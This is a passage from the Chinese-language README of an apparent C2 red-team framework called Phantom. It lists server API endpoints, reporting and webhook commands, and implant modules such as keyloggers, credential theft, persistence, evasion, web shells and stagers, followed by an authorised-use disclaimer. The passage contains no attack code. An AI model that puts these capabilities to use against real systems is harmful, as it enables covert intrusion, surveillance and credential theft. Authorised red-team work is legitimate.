列出活跃的隧道 | | `/api/loot` | GET | 浏览所有捕获的战利品 | | `/api/templates` | GET/POST | 命令模板 CRUD 操作 | | `/api/autotasks` | GET/POST | 自动任务配置 | | `/api/auditlog` | GET | 操作员审计日志 | | `/api/notes?agent=` | GET/POST | 读取/添加 Agent 笔记 | | `/api/search?q=` | GET | 搜索所有任务输出 | | `/api/operators` | GET | 列出在线的操作员 | | `/api/filebrowser` | GET | 请求 Agent 的目录列表 | | `/api/screenshot` | GET | 请求 Agent 截图 | | `/api/processlist` | GET | 请求 Agent 进程列表 | ### 多操作员支持 多名渗透测试人员可以同时使用同一服务端: - 每位操作员使用自己的凭据登录 - Agent 笔记会显示是哪位操作员添加的 - `/api/operators` 显示当前在线的人员 - CLI 和 Web UI 可以同时使用 ## 演练报告 ``` phantom > report md # Markdown report with full activity timeline phantom > report csv # CSV export of all commands and output phantom > report all # Both formats ``` 报告带时间戳保存到 `reports/` 目录。包含:执行摘要、按 Agent 划分的时间线、命令输出、基础设施详情。 ## Webhook 通知 ``` phantom > webhook slack https://hooks.slack.com/services/T.../B.../xxx phantom > webhook discord https://discord.com/api/webhooks/xxx/yyy phantom > webhook test ``` 自动通知事件:新 Agent 注册、Agent 死亡、监听器事件。 ## 项目结构 ``` phantom/ cmd/ server/ Server entrypoint agent/ Agent entrypoint keygen/ RSA keypair generator e2etest/ End-to-end test runner internal/ server/ Core server, config, webhooks listener/ HTTP/HTTPS/DNS listeners + malleable profiles + SMB pipes agent/ Agent manager + builder task/ Task dispatcher + queues crypto/ RSA-2048, AES-256-GCM, key exchange protocol/ Wire protocol + msgpack serialization db/ SQLite database + repositories cli/ CLI shell (readline), tables, reporting webui/ Web dashboard (embedded HTML/JS) implant/ Agent: shell, file, screenshot, persist, AD, BOF, evasion, token, keylogger, SOCKS, creds, pivot, staging payloads/ Payload generator (web shells, stagers, macros) util/ Shared utilities configs/ Server config + malleable profiles scripts/ Helper scripts docs/ Documentation + screenshots Dockerfile Multi-stage Docker build docker-compose.yml One-line deployment ``` ## 免责声明 **本工具专为授权的红队演练和安全研究而设计。** 未经授权访问计算机系统是非法的。您有责任确保在使用本工具前已获得适当的授权。作者对滥用行为不承担任何责任。 请务必: - 在测试前获得书面授权 - 遵守您组织的交战规则 - 记录所有活动 - 负责任地报告发现 ## 作者 **Opeyemi Kolawole** - [GitHub](https://github.com/Phantom-C2-77) | ckkolawole77@gmail.com ## 许可证 BSD 3-Clause 许可证 - 详见 [LICENSE](LICENSE)。
标签:Active Directory, Android木马, C2框架, Cobalt Strike替代, DNS 反向解析, EVTX分析, iOS远控, IP 地址批量处理, Payload生成, Plaso, WebUI, 反取证, 命令控制, 安全学习资源, 安全测试, 安全评估, 搜索语句(dork), 攻击性安全, 数据采集, 无线安全, 日志审计, 演练工具, 移动端攻击, 网络信息收集, 网络安全, 请求拦截, 跨平台远控, 远控木马, 隐私保护, 隐蔽通信